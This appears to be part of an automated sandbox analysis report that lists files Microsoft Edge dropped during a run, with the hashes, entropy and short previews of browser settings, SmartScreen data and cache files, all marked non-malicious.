C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF28802.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090562131349844
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMCLmZtotR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynDtGhOxqQoRTuiVIos
MD5:	B76821FEBC087526A26A1640F5D9E176
SHA1:	7E20156C070F95936AD7F5B2AA936B8B8CC7EAF2
SHA-256:	48413C3D65DAC41B782836B62B06E52493945530466F52282070A40048A735A2
SHA-512:	8308CBCF69FF82C520445E1FCCEE6FF1A583D2784B4E2F74E15B69A91880F949EE2AE7A8595838442F02B722C40E6F6595F08E758F714ADC32C6664DC9279959
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF289f6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090562131349844
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMCLmZtotR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynDtGhOxqQoRTuiVIos
MD5:	B76821FEBC087526A26A1640F5D9E176
SHA1:	7E20156C070F95936AD7F5B2AA936B8B8CC7EAF2
SHA-256:	48413C3D65DAC41B782836B62B06E52493945530466F52282070A40048A735A2
SHA-512:	8308CBCF69FF82C520445E1FCCEE6FF1A583D2784B4E2F74E15B69A91880F949EE2AE7A8595838442F02B722C40E6F6595F08E758F714ADC32C6664DC9279959
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2b0c8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090562131349844
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMCLmZtotR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynDtGhOxqQoRTuiVIos
MD5:	B76821FEBC087526A26A1640F5D9E176
SHA1:	7E20156C070F95936AD7F5B2AA936B8B8CC7EAF2
SHA-256:	48413C3D65DAC41B782836B62B06E52493945530466F52282070A40048A735A2
SHA-512:	8308CBCF69FF82C520445E1FCCEE6FF1A583D2784B4E2F74E15B69A91880F949EE2AE7A8595838442F02B722C40E6F6595F08E758F714ADC32C6664DC9279959
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2f071.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090562131349844
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMCLmZtotR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynDtGhOxqQoRTuiVIos
MD5:	B76821FEBC087526A26A1640F5D9E176
SHA1:	7E20156C070F95936AD7F5B2AA936B8B8CC7EAF2
SHA-256:	48413C3D65DAC41B782836B62B06E52493945530466F52282070A40048A735A2
SHA-512:	8308CBCF69FF82C520445E1FCCEE6FF1A583D2784B4E2F74E15B69A91880F949EE2AE7A8595838442F02B722C40E6F6595F08E758F714ADC32C6664DC9279959
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39a7c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090562131349844
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMCLmZtotR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynDtGhOxqQoRTuiVIos
MD5:	B76821FEBC087526A26A1640F5D9E176
SHA1:	7E20156C070F95936AD7F5B2AA936B8B8CC7EAF2
SHA-256:	48413C3D65DAC41B782836B62B06E52493945530466F52282070A40048A735A2
SHA-512:	8308CBCF69FF82C520445E1FCCEE6FF1A583D2784B4E2F74E15B69A91880F949EE2AE7A8595838442F02B722C40E6F6595F08E758F714ADC32C6664DC9279959
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3fb39.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090562131349844
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMCLmZtotR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynDtGhOxqQoRTuiVIos
MD5:	B76821FEBC087526A26A1640F5D9E176
SHA1:	7E20156C070F95936AD7F5B2AA936B8B8CC7EAF2
SHA-256:	48413C3D65DAC41B782836B62B06E52493945530466F52282070A40048A735A2
SHA-512:	8308CBCF69FF82C520445E1FCCEE6FF1A583D2784B4E2F74E15B69A91880F949EE2AE7A8595838442F02B722C40E6F6595F08E758F714ADC32C6664DC9279959
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.47693366977411E-4
Encrypted:	false
SSDEEP:	3:LsNlSu:Ls3
MD5:	5EA565948952544FBD8D6F460EC44665
SHA1:	945A92BF05D4709CFBBA620E22C5FC2BA841027B
SHA-256:	1807EC17A91A1ADAE43C4F6FCC7095C19D2892B338D6A3F04A606A0D76D1AA4E
SHA-512:	D516BFDF34DB898A87598B4EF05C55500A99C0E0D328FE4100DF8A61B9271B82828E439834D6F6C59080894CC4E835B168FF92E34C556857C10AB9536E59F7C0
Malicious:	false
Preview:	.........................................+g.../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
